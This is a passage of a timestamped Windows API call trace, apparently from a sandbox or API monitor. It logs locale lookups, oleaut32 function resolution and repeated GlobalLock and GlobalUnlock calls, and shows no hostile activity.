Locale=0x409, LCType=0x4a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jul") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="July") returned 5 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Aug") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="August") returned 7 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sep") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fd74, cchData=256 | out: lpLCData="September") returned 10 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Oct") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fd74, cchData=256 | out: lpLCData="October") returned 8 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Nov") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fd74, cchData=256 | out: lpLCData="November") returned 9 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Dec") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fd74, cchData=256 | out: lpLCData="December") returned 9 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sun") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sunday") returned 7 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Mon") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Monday") returned 7 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Tue") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Tuesday") returned 8 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Wed") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Wednesday") returned 10 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Thu") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Thursday") returned 9 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Fri") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Friday") returned 7 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sat") returned 4 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Saturday") returned 9 [0027.440] GetThreadLocale () returned 0x409 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="$") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x18fec8, cchData=2 | out: lpLCData=",") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18fec8, cchData=2 | out: lpLCData=".") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="2") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fec8, cchData=2 | out: lpLCData="/") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0027.440] GetThreadLocale () returned 0x409 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd9c, cchData=256 | out: lpLCData="1") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0027.440] GetThreadLocale () returned 0x409 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd9c, cchData=256 | out: lpLCData="1") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fec8, cchData=2 | out: lpLCData=":") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="AM") returned 3 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="PM") returned 3 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0027.440] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x18fec8, cchData=2 | out: lpLCData=",") returned 2 [0027.441] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff24 | out: lpPerformanceCount=0x18ff24*=16920692361) returned 1 [0027.441] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x769d0000 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VariantChangeTypeEx") returned 0x769d4c28 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarNeg") returned 0x76a4c802 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarNot") returned 0x76a4ec66 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarAdd") returned 0x769f5934 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarSub") returned 0x76a4d332 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarMul") returned 0x76a4dbd4 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarDiv") returned 0x76a4e405 [0027.441] GetProcAddress (hModule=0x769d0000, lpProcName="VarIdiv") returned 0x76a4f00a [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarMod") returned 0x76a4f15e [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarAnd") returned 0x769f5a98 [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarOr") returned 0x76a4ecfa [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarXor") returned 0x76a4ee2e [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarCmp") returned 0x769eb0dc [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarI4FromStr") returned 0x769e6fab [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarR4FromStr") returned 0x769f01a0 [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarR8FromStr") returned 0x769e699e [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarDateFromStr") returned 0x769f6ba7 [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarCyFromStr") returned 0x76a16c12 [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarBoolFromStr") returned 0x769edbd1 [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromCy") returned 0x769f7fdc [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromDate") returned 0x769e7a2a [0027.442] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromBool") returned 0x769f0355 [0027.443] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.444] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.444] GlobalUnlock (hMem=0x330004) returned 0 [0027.444] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.444] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.444] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.444] GlobalUnlock (hMem=0x330004) returned 0 [0027.444] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.444] GlobalUnlock (hMem=0x33000c) returned 0 [0027.445] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.445] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.445] GlobalUnlock (hMem=0x33000c) returned 0 [0027.445] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.445] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.445] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.445] GlobalUnlock (hMem=0x33000c) returned 0 [0027.445] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.445] GlobalUnlock (hMem=0x330004) returned 0 [0027.445] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.445] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.445] GlobalUnlock (hMem=0x330004) returned 0 [0027.445] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.445] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.445] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.445] GlobalUnlock (hMem=0x330004) returned 0 [0027.445] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.445] GlobalUnlock (hMem=0x33000c) returned 0 [0027.445] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.445] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.445] GlobalUnlock (hMem=0x33000c) returned 0 [0027.445] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.445] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.445] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.445] GlobalUnlock (hMem=0x33000c) returned 0 [0027.445] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.446] GlobalUnlock (hMem=0x330004) returned 0 [0027.446] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.446] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.446] GlobalUnlock (hMem=0x330004) returned 0 [0027.446] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.446] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.446] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.446] GlobalUnlock (hMem=0x330004) returned 0 [0027.446] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.446] GlobalUnlock (hMem=0x33000c) returned 0 [0027.446] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.446] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.446] GlobalUnlock (hMem=0x33000c) returned 0 [0027.446] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.446] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.446] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.446] GlobalUnlock (hMem=0x33000c) returned 0 [0027.446] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.446] GlobalUnlock (hMem=0x330004) returned 0 [0027.446] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.446] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.446] GlobalUnlock (hMem=0x330004) returned 0 [0027.446] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.446] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.446] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.446] GlobalUnlock (hMem=0x330004) returned 0 [0027.446] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.446] GlobalUnlock (hMem=0x33000c) returned 0 [0027.447] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.447] GlobalUnlock (hMem=0x33000c) returned 0 [0027.447] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.447] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.447] GlobalUnlock (hMem=0x33000c) returned 0 [0027.447] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.447] GlobalUnlock (hMem=0x330004) returned 0 [0027.447] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.447] GlobalUnlock (hMem=0x330004) returned 0 [0027.447] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.447] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.447] GlobalUnlock (hMem=0x330004) returned 0 [0027.447] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.447] GlobalUnlock (hMem=0x33000c) returned 0 [0027.447] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.447] GlobalUnlock (hMem=0x33000c) returned 0 [0027.447] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.447] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.447] GlobalUnlock (hMem=0x33000c) returned 0 [0027.447] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.447] GlobalUnlock (hMem=0x330004) returned 0 [0027.447] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.447] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.447] GlobalUnlock (hMem=0x330004) returned 0 [0027.448] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.448] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.448] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.448] GlobalUnlock (hMem=0x330004) returned 0 [0027.448] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.448] GlobalUnlock (hMem=0x33000c) returned 0 [0027.448] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.448] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.448] GlobalUnlock (hMem=0x33000c) returned 0 [0027.448] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.448] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.448] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.448] GlobalUnlock (hMem=0x33000c) returned 0 [0027.448] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.448] GlobalUnlock (hMem=0x330004) returned 0 [0027.448] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.448] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.448] GlobalUnlock (hMem=0x330004) returned 0 [0027.448] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.448] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.448] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.448] GlobalUnlock (hMem=0x330004) returned 0 [0027.448] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.448] GlobalUnlock (hMem=0x33000c) returned 0 [0027.448] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.448] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.449] GlobalUnlock (hMem=0x33000c) returned 0 [0027.449] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.449] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.449] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.449] GlobalUnlock (hMem=0x33000c) returned 0 [0027.449] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.449] GlobalUnlock (hMem=0x330004) returned 0 [0027.449] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.449] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.449] GlobalUnlock (hMem=0x330004) returned 0 [0027.449] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.449] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.449] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.449] GlobalUnlock (hMem=0x330004) returned 0 [0027.449] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.449] GlobalUnlock (hMem=0x33000c) returned 0 [0027.449] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.449] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.449] GlobalUnlock (hMem=0x33000c) returned 0 [0027.449] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.449] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.449] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.449] GlobalUnlock (hMem=0x33000c) returned 0 [0027.449] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.449] GlobalUnlock (hMem=0x330004) returned 0 [0027.449] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.449] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.450] GlobalUnlock (hMem=0x330004) returned 0 [0027.450] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.450] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.450] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.450] GlobalUnlock (hMem=0x330004) returned 0 [0027.450] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.450] GlobalUnlock (hMem=0x33000c) returned 0 [0027.450] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.450] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.450] GlobalUnlock (hMem=0x33000c) returned 0 [0027.450] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.450] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.450] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.450] GlobalUnlock (hMem=0x33000c) returned 0 [0027.450] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.450] GlobalUnlock (hMem=0x330004) returned 0 [0027.450] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.450] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.450] GlobalUnlock (hMem=0x330004) returned 0 [0027.450] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.450] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.450] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.450] GlobalUnlock (hMem=0x330004) returned 0 [0027.450] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.450] GlobalUnlock (hMem=0x33000c) returned 0 [0027.450] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.450] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.450] GlobalUnlock (hMem=0x33000c) returned 0 [0027.450] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.451] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.451] GlobalUnlock (hMem=0x33000c) returned 0 [0027.451] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.451] GlobalUnlock (hMem=0x330004) returned 0 [0027.451] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.451] GlobalUnlock (hMem=0x330004) returned 0 [0027.451] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.451] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.451] GlobalUnlock (hMem=0x330004) returned 0 [0027.451] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.451] GlobalUnlock (hMem=0x33000c) returned 0 [0027.451] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.451] GlobalUnlock (hMem=0x33000c) returned 0 [0027.451] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.451] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.451] GlobalUnlock (hMem=0x33000c) returned 0 [0027.451] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.451] GlobalUnlock (hMem=0x330004) returned 0 [0027.451] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.451] GlobalUnlock (hMem=0x330004) returned 0 [0027.451] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.451] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.451] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.451] GlobalUnlock (hMem=0x330004) returned 0 [0027.452] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.452] GlobalUnlock (hMem=0x33000c) returned 0 [0027.452] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.452] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.452] GlobalUnlock (hMem=0x33000c) returned 0 [0027.452] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.452] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.452] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.452] GlobalUnlock (hMem=0x33000c) returned 0 [0027.452] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.452] GlobalUnlock (hMem=0x330004) returned 0 [0027.452] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.452] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.452] GlobalUnlock (hMem=0x330004) returned 0 [0027.452] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.452] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.452] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.452] GlobalUnlock (hMem=0x330004) returned 0 [0027.452] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.452] GlobalUnlock (hMem=0x33000c) returned 0 [0027.452] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.452] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.452] GlobalUnlock (hMem=0x33000c) returned 0 [0027.452] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.452] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.452] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.452] GlobalUnlock (hMem=0x33000c) returned 0 [0027.452] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.452] GlobalUnlock (hMem=0x330004) returned 0 [0027.453] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.453] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.453] GlobalUnlock (hMem=0x330004) returned 0 [0027.453] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.453] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.453] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.453] GlobalUnlock (hMem=0x330004) returned 0 [0027.453] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.453] GlobalUnlock (hMem=0x33000c) returned 0 [0027.453] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.453] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.453] GlobalUnlock (hMem=0x33000c) returned 0 [0027.453] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.453] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.453] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.453] GlobalUnlock (hMem=0x33000c) returned 0 [0027.453] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.453] GlobalUnlock (hMem=0x330004) returned 0 [0027.453] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.453] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.453] GlobalUnlock (hMem=0x330004) returned 0 [0027.453] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.453] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.453] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.453] GlobalUnlock (hMem=0x330004) returned 0 [0027.453] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.453] GlobalUnlock (hMem=0x33000c) returned 0 [0027.453] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.454] GlobalUnlock (hMem=0x33000c) returned 0 [0027.454] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.454] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.454] GlobalUnlock (hMem=0x33000c) returned 0 [0027.454] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.454] GlobalUnlock (hMem=0x330004) returned 0 [0027.454] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.454] GlobalUnlock (hMem=0x330004) returned 0 [0027.454] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.454] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.454] GlobalUnlock (hMem=0x330004) returned 0 [0027.454] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.454] GlobalUnlock (hMem=0x33000c) returned 0 [0027.454] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.454] GlobalUnlock (hMem=0x33000c) returned 0 [0027.454] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.454] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.454] GlobalUnlock (hMem=0x33000c) returned 0 [0027.454] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.454] GlobalUnlock (hMem=0x330004) returned 0 [0027.454] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.454] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.454] GlobalUnlock (hMem=0x330004) returned 0 [0027.455] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.455] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.455] GlobalUnlock (hMem=0x330004) returned 0 [0027.455] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.455] GlobalUnlock (hMem=0x33000c) returned 0 [0027.455] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.455] GlobalUnlock (hMem=0x33000c) returned 0 [0027.455] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.455] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.455] GlobalUnlock (hMem=0x33000c) returned 0 [0027.455] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.455] GlobalUnlock (hMem=0x330004) returned 0 [0027.455] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.455] GlobalUnlock (hMem=0x330004) returned 0 [0027.455] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.455] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.455] GlobalUnlock (hMem=0x330004) returned 0 [0027.455] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.455] GlobalUnlock (hMem=0x33000c) returned 0 [0027.455] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.455] GlobalUnlock (hMem=0x33000c) returned 0 [0027.455] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.455] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.455] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.456] GlobalUnlock (hMem=0x33000c) returned 0 [0027.456] GlobalHandle (pMem=0x4e0668) returned 0x330004 [0027.456] GlobalUnlock (hMem=0x330004) returned 0 [0027.456] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.456] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.456] GlobalUnlock (hMem=0x330004) returned 0 [0027.456] GlobalLock (hMem=0x330004) returned 0x4de658 [0027.456] GlobalLock (hMem=0x33000c) returned 0x4e0668 [0027.456] GlobalHandle (pMem=0x4de658) returned 0x330004 [0027.456] GlobalUnlock (hMem=0x330004) returned 0 [0027.456] GlobalHandle (pMem=0x4e0668) returned 0x33000c [0027.456] GlobalUnlock (hMem=0x33000c) returned 0 [0027.456] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.456] GlobalHandle (pMem=0x4de658) returned 0x33000c [0027.456] GlobalUnlock (hMem=0x33000c) returned 0 [0027.456] GlobalLock (hMem=0x33000c) returned 0x4de658 [0027.456] GlobalLock (hMem=0x330004) returned 0x4e0668 [0027.456] GlobalHandle 